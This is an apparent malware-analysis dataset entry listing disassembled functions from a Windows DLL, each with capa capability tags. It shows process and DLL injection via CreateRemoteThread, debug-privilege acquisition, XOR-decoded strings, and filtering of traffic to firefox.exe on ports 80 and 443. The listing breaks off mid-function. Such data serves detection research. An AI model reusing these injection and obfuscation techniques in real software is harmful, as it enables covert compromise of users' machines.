joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180086530
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
mov rsi, rdx
mov r14, rcx
xor r15d, r15d
lea rdx, [rbp + 0x88]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov edi, eax
test eax, eax
je 0x1800866e3
mov ecx, edi
lea rdx, [0x1800db740]
call fcn.18009d8d0
mov rbx, rax
test rax, rax
je 0x1800866e3
mov r9, rax
mov r8d, edi
xor edx, edx
mov rcx, r14
call sub.VERSION.dll_GetFileVersionInfoA
test eax, eax
je 0x1800866d6
and dword [rbp + 0x80], r15d
lea r9, [rbp + 0x80]
lea r8, [rsp + 0x30]
lea rdx, [0x1800ea574]
mov rcx, rbx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1800866d6
mov rax, qword [rsp + 0x30]
mov r15d, dword [rax + 8]
shl r15, 0x20
mov eax, dword [rax + 0xc]
or r15, rax
lea r9, [rbp + 0x80]
lea r8, [rsp + 0x38]
lea rdx, str.VarFileInfoTranslation
mov rcx, rbx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1800866d6
cmp dword [rbp + 0x80], 0
je 0x1800866d6
mov edi, 0x64
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x30]
call fcn.1800a02d0
mov rax, qword [rsp + 0x38]
movzx ecx, word [rax + 2]
movzx r9d, word [rax]
mov dword [rsp + 0x20], ecx
lea r8, str.StringFileInfo_04x_04xOriginalFilename
mov edx, edi
lea rcx, [rbp - 0x30]
call fcn.180093eb4
test eax, eax
js 0x1800866d6
lea r9, [rbp + 0x80]
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x30]
mov rcx, rbx
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x1800866d6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.18000e4ac
nop
mov edi, dword [rbp + 0x80]
cmp rdi, qword [rsi + 0x18]
ja 0x1800866ae
mov r14, rsi
cmp qword [rsi + 0x18], 0x10
jb 0x180086693
mov r14, qword [rsi]
mov qword [rsi + 0x10], rdi
mov r8, rdi
mov rdx, qword [rsp + 0x48]
mov rcx, r14
call fcn.18009fc20
mov byte [r14 + rdi], 0
jmp 0x1800866c2
mov r9, qword [rsp + 0x48]
xor r8d, r8d
mov rdx, rdi
mov rcx, rsi
call fcn.180003a38
nop
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
cmp rcx, rax
je 0x1800866d6
call fcn.1800a89bc
mov rcx, rbx
call fcn.18009d1f4
mov rax, r15
jmp 0x1800866e5
xor eax, eax
mov rbx, qword [rsp + 0x170]
add rsp, 0x140
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180087f9c
Capabilities:
Allocate or change rwx memory
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x70
xorps xmm0, xmm0
movups xmmword [rax - 0x50], xmm0
movups xmmword [rax - 0x40], xmm0
movups xmmword [rax - 0x30], xmm0
mov r8d, gethostbyname
lea rdx, [rax - 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
xor ebx, ebx
test rax, rax
je 0x18008815e
cmp byte [0x18010a364], bl
je 0x180088041
lea rcx, [rsp + 0x98]
call fcn.18007f108
mov rdi, rax
movabs rsi, 0xd993efbb19cfe32d
cmp byte [rax + 0x2c], bl
je 0x18008801e
mov r8d, ebx
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rsi
shr rdx, cl
xor byte [r8 + rax], dl
inc r8
cmp r8, 0x2c
jb 0x180087fff
mov byte [rax + 0x2c], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x20], eax
mov r9d, dword [rsp + 0x5c]
mov r8d, dword [rsp + 0x58]
mov rdx, rdi
mov ecx, 4
call fcn.18006a848
jmp 0x18008804b
movabs rsi, 0xd993efbb19cfe32d
cmp dword [rsp + 0x58], 0x1000
jne 0x1800881c8
cmp dword [rsp + 0x5c], 1
je 0x1800881c8
mov dword [rsp + 0xa0], ebx
lea r9, [rsp + 0xa0]
mov r8d, 0x40
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1800880e2
cmp byte [0x18010a364], bl
je 0x1800880e2
lea rcx, [rsp + 0x98]
call fcn.180080350
mov rdi, rax
cmp byte [rax + 0x33], bl
je 0x1800880cb
mov rax, rbx
mov cl, al
and cl, 7
shl cl, 3
mov r8, rsi
shr r8, cl
xor byte [rax + rdi], r8b
inc rax
cmp rax, 0x33
jb 0x1800880ad
mov byte [rdi + 0x33], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov rdx, rdi
mov ecx, 4
call fcn.18006a848
nop
mov dil, bl
mov byte [rsp + 0x30], bl
jmp 0x1800880ff
test dil, dil
je 0x180088159
cmp byte [0x18010a364], bl
je 0x180088159
lea rcx, [rsp + 0x98]
call fcn.18007c6a4
mov r14, rax
cmp byte [rax + 0x34], bl
je 0x180088143
mov rax, rbx
mov cl, al
and cl, 7
shl cl, 3
mov r8, rsi
shr r8, cl
xor byte [rax + r14], r8b
inc rax
cmp rax, 0x34
jb 0x180088124
mov byte [r14 + 0x34], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov rdx, r14
mov ecx, 4
call fcn.18006a848
mov al, dil
jmp 0x1800881ca
cmp byte [0x18010a364], bl
je 0x1800881c8
lea rcx, [rsp + 0x98]
call fcn.18007c5a4
mov rdi, rax
cmp byte [rax + 0x3e], bl
je 0x1800881a7
mov r8, rbx
movabs rsi, 0xd993efbb19cfe32d
mov cl, r8b
and cl, 7
shl cl, 3
mov rdx, rsi
shr rdx, cl
xor byte [r8 + rax], dl
inc r8
cmp r8, 0x3e
jb 0x180088188
mov byte [rax + 0x3e], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov r9d, ebx
mov rdx, rdi
mov ecx, 4
call fcn.18006a848
mov al, 1
mov rbx, qword [rsp + 0x90]
add rsp, 0x70
pop r14
pop rdi
pop rsi
ret
Function at 0x180088e34
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x60
and qword [rax - 0x10], 0
mov r14, r8
lea r8, [rax - 0x10]
mov rbp, r9
mov rsi, rdx
mov rdi, rcx
call fcn.1800853f0
test al, al
je 0x180088f4c
cmp byte [0x18010a364], 0
mov rbx, qword [rsp + 0x58]
je 0x180088ec7
lea rcx, [rsp + 0x50]
call fcn.180080858
cmp byte [rax + 0x1f], 0
je 0x180088eb7
xor r9d, r9d
mov cl, r9b
movabs r8, 0xd993efbb19cfe32d
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x1f
jb 0x180088e90
mov byte [rax + 0x1f], 0
mov r8, rbx
mov rdx, rax
mov ecx, 4
call fcn.18006a848
mov rdx, rsi
mov rcx, rdi
call fcn.180093bc0
test al, al
mov r9, rbp
mov rax, qword [rsp + 0xb8]
mov r8, r14
mov qword [rsp + 0x48], rax
mov rdx, rbx
mov rax, qword [rsp + 0xb0]
mov rcx, rdi
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x20], eax
jne 0x180088f45
call qword [0x18010ae18]
mov edi, eax
test rbx, rbx
je 0x180088f41
mov rcx, rbx
call fcn.18009d1f4
mov eax, edi
jmp 0x180088fbe
call fcn.180081624
jmp 0x180088f32
mov rdx, rsi
mov rcx, rdi
call fcn.180093bc0
test al, al
mov r9, rbp
mov rax, qword [rsp + 0xb8]
mov r8, r14
mov qword [rsp + 0x48], rax
mov rdx, rsi
mov rax, qword [rsp + 0xb0]
mov rcx, rdi
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x98]
mov dword [rsp + 0x28], eax
mov eax, dword [rsp + 0x90]
mov dword [rsp + 0x20], eax
jne 0x180088fb9
call qword [0x18010ae18]
jmp 0x180088fbe
call fcn.180081624
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x18008f5d4
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
movsxd rax, dword [0x180102ad4]
mov edi, r8d
mov rsi, rcx
test eax, eax
jns 0x18008f5f8
xor ebx, ebx
jmp 0x18008f611
mov rbx, qword [rax + rdx]
test rbx, rbx
je 0x18008f611
mov r8d, 1
mov edx, edi
mov rcx, rbx
call fcn.180090cf8
movsxd rax, dword [0x180102ad0]
test eax, eax
jns 0x18008f620
xor ecx, ecx
jmp 0x18008f624
mov rcx, qword [rax + rsi]
test rbx, rbx
je 0x18008f63b
test rcx, rcx
je 0x18008f63b
mov r8d, edi
mov rdx, rbx
call fcn.180090388
jmp 0x18008f68b
cmp byte [0x18010a364], 0
je 0x18008f68b
lea rcx, [rsp + 0x48]
call fcn.18007e2fc
cmp byte [rax + 0x3d], 0
je 0x18008f67e
xor r9d, r9d
mov cl, r9b
movabs r8, 0xd993efbb19cfe32d
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x3d
jb 0x18008f657
mov byte [rax + 0x3d], 0
mov rdx, rax
mov ecx, 4
call fcn.18006a848
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1800908b0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp byte [0x18010ad91], 0
mov rdi, rcx
jne 0x180090992
cmp byte [0x180102acc], 0
jne 0x180090992
movsxd rbx, edx
lea r9, [0x1800d6812]
add rbx, rcx
mov byte [rsp + 0x20], 0
mov rdx, rbx
lea r8, str.Accept_Encoding:_gzip_deflate_sdch
call fcn.18007a994
mov rsi, rax
cmp rax, rbx
je 0x18009095a
cmp byte [0x18010a364], 0
je 0x180090955
lea rcx, [rsp + 0x50]
call fcn.18007e9b8
cmp byte [rax + 0x10], 0
je 0x180090948
xor r9d, r9d
mov cl, r9b
movabs r8, 0xd993efbb19cfe32d
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x10
jb 0x180090921
mov byte [rax + 0x10], 0
mov rdx, rax
mov ecx, 4
call fcn.18006a848
mov rcx, rsi
jmp 0x180090980
lea r9, [0x1800d683c]
mov byte [rsp + 0x20], 0
lea r8, str.Accept_Encoding:_gzip__deflate__sdch
mov rdx, rbx
mov rcx, rdi
call fcn.18007a994
cmp rax, rbx
je 0x180090992
mov rcx, rax
lea rdx, str.sdch
call fcn.18009eb24
mov dword [rax], 0x70697a67
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x180090aac
Capabilities:
Encode data using xor

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], rbx
mov qword [rax + 0x10], rdx
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov r15, r9
mov rdi, r8
xor esi, esi
mov qword [rbp - 0x49], rsi
mov byte [rbp - 0x41], sil
xorps xmm0, xmm0
movdqa xmmword [rbp - 0x39], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp - 0x29], xmm1
mov qword [rbp - 0x19], rsi
mov byte [rbp - 0x11], sil
movdqa xmmword [rbp - 9], xmm0
mov byte [rbp + 7], sil
mov qword [rbp + 0xf], rsi
mov qword [rbp + 0x17], rsi
mov byte [rbp + 0x1f], sil
lea r9, [r8 + 0x40]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
lea r8, [rbp - 0x49]
call fcn.180079370
movabs r14, 0x2aaaaaaaaaaaaaab
test al, al
je 0x180090c82
lea rbx, [rdi + 0x20]
mov r9, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x180090b47
mov r9, qword [rbx]
mov rcx, qword [rbp - 0x31]
sub rcx, qword [rbp - 0x39]
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
lea rcx, [rbp + 0xf]
add rdx, rax
cmovne rcx, qword [rbp - 0x39]
mov r8, qword [rdi + 0x30]
mov rdx, r9
mov rcx, qword [rcx]
call fcn.18009fc20
mov rcx, qword [rbp - 0x31]
mov r8, qword [rbp - 0x39]
sub rcx, r8
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf]
cmovne rax, r8
mov rcx, qword [rax + 8]
mov qword [rbp - 0x51], rcx
cmp byte [0x18010a364], sil
je 0x180090c60
lea r14, [rbp + 0xf]
test rdx, rdx
cmovne r14, r8
mov qword [rbp - 0x59], r15
cmp qword [r15 + 0x18], 0x10
jb 0x180090bd4
mov rax, qword [r15]
mov qword [rbp - 0x59], rax
mov r13, rbx
cmp qword [rbx + 0x18], 0x10
jb 0x180090be1
mov r13, qword [rbx]
mov r12, rdi
cmp qword [rdi + 0x18], 0x10
jb 0x180090bee
mov r12, qword [rdi]
lea rcx, [rbp + 0x77]
call fcn.18007d2cc
mov rsi, rax
cmp byte [rax + 0x3a], 0
je 0x180090c2a
xor r11d, r11d
mov cl, r11b
and cl, 7
shl cl, 3
movabs r10, 0xd993efbb19cfe32d
shr r10, cl
xor byte [r11 + rax], r10b
inc r11
cmp r11, 0x3a
jb 0x180090c03
mov byte [rax + 0x3a], 0
mov eax, dword [r14]
sub eax, dword [rbp + 0x67]
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x59]
mov qword [rsp + 0x20], rax
mov r9, r13
mov r8, r12
mov rdx, rsi
mov ecx, 4
call fcn.18006a848
mov rcx, qword [rbp - 0x51]
xor esi, esi
movabs r14, 0x2aaaaaaaaaaaaaab
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], esi
lea r9, [rdi + 0x40]
lea r8, [rbp - 0x49]
mov rdx, qword [rbp + 0x6f]
call fcn.180079370
test al, al
jne 0x180090b3a
mov r8, qword [rbp - 0x39]
test r8, r8
je 0x180090cd7
mov rcx, qword [rbp - 0x29]
sub rcx, r8
mov rax, r14
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, r8
cmp rdx, 0x1000
jb 0x180090ccf
add rdx, 0x27
mov r8, qword [r8 - 8]
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180090cf2
mov rcx, r8
call fcn.18009d1f4
mov rbx, qword [rsp + 0x108]
add rsp, 0xb0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.1800a45b8
int3
Function at 0x1800923b0
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rdx
push rsi
push rdi
push r14
sub rsp, 0x90
mov rbx, rdx
and dword [r11 + 0x20], 0
mov eax, dword [0x18010aa1c]
test eax, eax
je 0x1800925c3
cmp byte [0x18010a364], 0
je 0x180092464
lea rcx, [r11 + 0x18]
call fcn.18007fccc
mov rdi, rax
cmp byte [rax + 0x30], 0
je 0x180092421
xor r8d, r8d
mov cl, r8b
and cl, 7
shl cl, 3
movabs rax, 0xd993efbb19cfe32d
shr rax, cl
xor byte [r8 + rdi], al
inc r8
cmp r8, 0x30
jb 0x1800923fa
mov byte [rdi + 0x30], 0
mov rcx, rbx
call fcn.18003db8c
mov r14d, eax
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.18003d9e4
mov rcx, rax
call fcn.18000469c
movzx esi, ax
mov rcx, rbx
call fcn.18003d9dc
mov r9d, esi
mov dword [rsp + 0x20], r14d
mov r8d, eax
mov rdx, rdi
mov ecx, 4
call fcn.18006a848
mov rcx, rbx
call fcn.18003de18
cmp ax, 0x50
je 0x18009253e
mov rcx, rbx
call fcn.18003de18
mov edi, 0x1bb
cmp ax, di
je 0x18009253e
mov rcx, rbx
call fcn.18003de18
mov ecx, 0x203e
cmp ax, cx
je 0x18009253e
mov rcx, rbx
call fcn.18003de18
mov ecx, 0x2d03
cmp ax, cx
je 0x18009253e
mov rcx, rbx
call fcn.18003de18
mov ecx, 0x2d07
cmp ax, cx
je 0x18009253e
mov rcx, rbx
call fcn.18003de18
mov ecx, 0x2d10
cmp ax, cx
je 0x18009253e
lea rdx, [rsp + 0x68]
mov rcx, rbx
call fcn.18003db9c
nop
mov esi, 1
mov dword [rsp + 0xc8], esi
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x180092503
mov rcx, qword [rax]
mov r8d, inet_ntoa
cmp qword [rax + 0x10], r8
jne 0x180092539
lea rdx, str.firefox.exe
call fcn.18009fb20
test eax, eax
jne 0x180092539
lea rdx, [rsp + 0x4a]
mov rcx, rbx
call fcn.18003dab8
mov rcx, rax
call fcn.18000469c
cmp ax, di
je 0x180092545
xor dil, dil
jmp 0x180092548
mov esi, dword [rsp + 0xc8]
mov dil, 1
test sil, 1
je 0x18009258a
mov rdx, qword [rsp + 0x80]
cmp rdx, 0x10
jb 0x18009258a
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180092585
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800925e1
call fcn.18009d1f4
call fcn.180049c04
test dil, dil
je 0x1800925a7
mov r8d, 0x4e20
mov rdx, rbx
mov rcx, rax
call fcn.180077d64
jmp 0x1800925b9
mov r8d, 0x4e20
mov rdx, rbx
mov rcx, rax
call fcn.180077c5c
nop
jmp 0x1800925c3
mov rcx, rbx
call fcn.18001d6c0
xor eax, eax
mov rbx, qword [rsp + 0xb0]
add rsp, 0x90
pop r14
pop rdi
pop rsi
ret
call fcn.1800a45b8
nop
int3
Function at 0x180093bc0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x20], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rdi, rdx
mov rsi, rcx
call fcn.18005cb90
xor ebx, ebx
test al, al
jne 0x180093bf1
call fcn.18005cf08
test al, al
je 0x180093c5c
test rsi, rsi
je 0x180093c0a
lea rdx, [0x1800d6858]
mov rcx, rsi
call fcn.1800a07c0
test rax, rax
jne 0x180093c55
test rdi, rdi
je 0x180093c23
lea rdx, [0x1800d6858]
mov rcx, rdi
call fcn.1800a07c0
test rax, rax
jne 0x180093c55
test rsi, rsi
je 0x180093c3c
lea rdx, [0x1800d6870]
mov rcx, rsi
call fcn.1800a07c0
test rax, rax
jne 0x180093c55
test rdi, rdi
je 0x180093c5c
lea rdx, [0x1800d6870]
mov rcx, rdi
call fcn.1800a07c0
test rax, rax
je 0x180093c5c
mov al, 1
jmp 0x180093d64
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x10], rbx
mov qword [rbp - 8], reloc.WS2_32.dll_ntohs
mov byte [rbp - 0x20], bl
mov r8, rdi
mov rdx, rsi
lea rcx, [rbp - 0x20]
call fcn.1800849dc
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
lea rdx, str.firefox.exe
call fcn.1800a8764
test eax, eax
je 0x180093cb3
lea rcx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rcx, qword [rbp - 0x20]
call fcn.1800882f8
test al, al
je 0x180093d2b
cmp byte [0x18010a364], bl
je 0x180093d29
lea rsi, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rsi, qword [rbp - 0x20]
lea rcx, [rbp + 0x20]
call fcn.18007f004
mov rdi, rax
cmp byte [rax + 0x54], bl
je 0x180093d03
mov r9, rbx
mov cl, r9b
and cl, 7
shl cl, 3
movabs r8, 0xd993efbb19cfe32d
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x54
jb 0x180093cdd
mov byte [rax + 0x54], bl
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov r8d, eax
mov qword [rsp + 0x20], rsi
mov r9d, ebx
mov rdx, rdi
mov ecx, 4
call fcn.18006a848
mov bl, 1
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x180093d62
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180093d5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180093d79
call fcn.18009d1f4
mov al, bl
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop rbp
ret
call fcn.1800a45b8
int3
Function at 0x180093d80
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x230
mov rbx, rdx
mov rdi, rcx
call fcn.18000ce3c
test al, al
jne 0x180093db2
call fcn.18005cb50
test al, al
jne 0x180093db2
call fcn.18005cbb8
test al, al
je 0x180093e9e
lea rax, [rsp + 0x258]
mov dword [rsp + 0x258], 0x174
lea r9, [rsp + 0xb0]
mov qword [rsp + 0x20], rax
mov edx, 0xffff
mov r8d, 0x2004
mov rcx, rdi
call sub.WS2_32.dll_getsockopt
test eax, eax
jne 0x180093e9e
cmp dword [rsp + 0x10c], 0x11
jne 0x180093e9e
lea r8, [rsp + 0x258]
mov dword [rsp + 0x258], 0x80
lea rdx, [rsp + 0x30]
mov rcx, rdi
call sub.WS2_32.dll_getpeername
test eax, eax
jne 0x180093e26
movzx ecx, word [rsp + 0x32]
jmp 0x180093e2f
test rbx, rbx
je 0x180093e9e
movzx ecx, word [rbx + 2]
call sub.WS2_32.dll_ntohs
movzx ebx, ax
cmp ebx, 0x1bb
je 0x180093e44
cmp ebx, 0x50
jne 0x180093e9e
cmp byte [0x18010a364], 0
je 0x180093e9a
lea rcx, [rsp + 0x250]
call fcn.18007d3b8
cmp byte [rax + 0x30], 0
je 0x180093e8a
xor r8d, r8d
mov cl, r8b
movabs r9, 0xd993efbb19cfe32d
and cl, 7
shl cl, 3
shr r9, cl
xor byte [r8 + rax], r9b
inc r8
cmp r8, 0x30
jb 0x180093e63
mov byte [rax + 0x30], 0
mov r8d, ebx
mov rdx, rax
mov ecx, 4
call fcn.18006a848
mov al, 1
jmp 0x180093ea0
xor al, al
mov rbx, qword [rsp + 0x240]
add rsp, 0x230
pop rdi
ret
Function at 0x1800946c0
Capabilities:
Acquire debug privileges
Create thread
Encode data using xor
Inject dll
Inject thread

Disassembly:
sub rsp, 0x28
xor eax, eax
test r8, r8
je 0x18007484b
mov rcx, r8
call fcn.1800a83fc
mov ecx, eax
add rsp, 0x28
jmp 0x1800946c0
mov rax, rsp
mov qword [rax + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x40
and qword [rax + 0x20], 0
mov ebp, ecx
xor r15b, r15b
xor ebx, ebx
xor esi, esi
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x1fffff
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
test rax, rax
jne 0x180094767
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp byte [0x18010a364], bl
mov ebp, eax
je 0x180094898
lea rcx, [rsp + 0x78]
call fcn.18007ea34
mov rdx, rax
cmp byte [rax + 0x30], bl
je 0x180094755
xor r8d, r8d
mov cl, r8b
movabs rax, 0xd993efbb19cfe32d
and cl, 7
shl cl, 3
shr rax, cl
xor byte [r8 + rdx], al
inc r8
cmp r8, 0x30
jb 0x18009472f
mov byte [rdx + 0x30], bl
mov r8d, ebp
mov ecx, 4
call fcn.18006a848
jmp 0x180094898
lea r8, [rsp + 0x88]
mov edx, 0x28
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x18009488f
mov rcx, qword [rsp + 0x88]
lea rdx, str.SeDebugPrivilege
mov r8d, 1
call fcn.180093b38
mov r8d, ebp
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18009488f
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp ebp, eax
je 0x18009488f
lea rcx, str.Kernel32
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbp, rax
test rax, rax
je 0x18009488f
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8d, 0x105
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rsi, rax
test rax, rax
je 0x18009488f
and qword [rsp + 0x20], rdi
lea r8, [0x18010a700]
mov r9d, 0x105
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x18009488f
lea rdx, [0x1800d6d78]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and qword [rsp + 0x30], rdi
xor r8d, r8d
and dword [rsp + 0x28], edi
mov r9, rax
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
test rax, rax
je 0x18009488f
or edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rdx, [rsp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [rsp + 0x80], 0
setne r15b
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x88]
test rcx, rcx
je 0x1800948ab
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1800948b9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rdi, rdi
je 0x1800948c7
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rsi, rsi
je 0x1800948e4
mov r9d, 0x8000
mov r8d, 0x105
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rbx, qword [rsp + 0x70]
mov al, r15b
add rsp, 0x40
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x180094924
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
push r12
push r14
sub rsp, 0x20
mov rsi, rdx
mov r14, rcx
call fcn.18000ce10
test al, al
je 0x180094a81
cmp qword [0x1801025c0], 0
je 0x180094a34
xor edi, edi
movabs r12, 0xd993efbb19cfe32d
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
lea rcx, [0x1801025b0]
cmovae rcx, qword [0x1801025b0]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
test rax, rax
je 0x180094a1e
mov rcx, qword [0x18010ad98]
cmp rax, rcx
je 0x180094a06
cmp byte [0x18010a364], 0
je 0x1800949f3
lea rcx, [rsp + 0x50]
call fcn.180080768
cmp byte [rax + 0x45], 0
je 0x1800949d5
xor r9d, r9d
mov cl, r9b
mov r8, r12
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x45
jb 0x1800949b5
mov byte [rax + 0x45], 0
mov r8, qword [0x18010ad98]
mov r9, rbx
mov rdx, rax
mov ecx, 4
call fcn.18006a848
mov rcx, qword [0x18010ad98]
mov rax, rbx
sub rax, rcx
add qword [r14], rax
sub rbx, qword [0x18010ad98]
add qword [rsi], rbx
mov rcx, qword [r14]
call fcn.180087f9c
test al, al
jne 0x180094a1e
mov rcx, qword [rsi]
call fcn.180087f9c
test al, al
je 0x180094a38
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
cmp edi, 0xa
jb 0x180094964
xor al, al
jmp 0x180094a83
cmp byte [0x18010a364], 0
je 0x180094a81
lea rcx, [rsp + 0x50]
call fcn.1800805bc
cmp byte [rax + 0x26], 0
je 0x180094a74
xor r9d, r9d
mov cl, r9b
mov r8, r12
and cl, 7
shl cl, 3
shr r8, cl
xor byte [r9 + rax], r8b
inc r9
cmp r9, 0x26
jb 0x180094a54
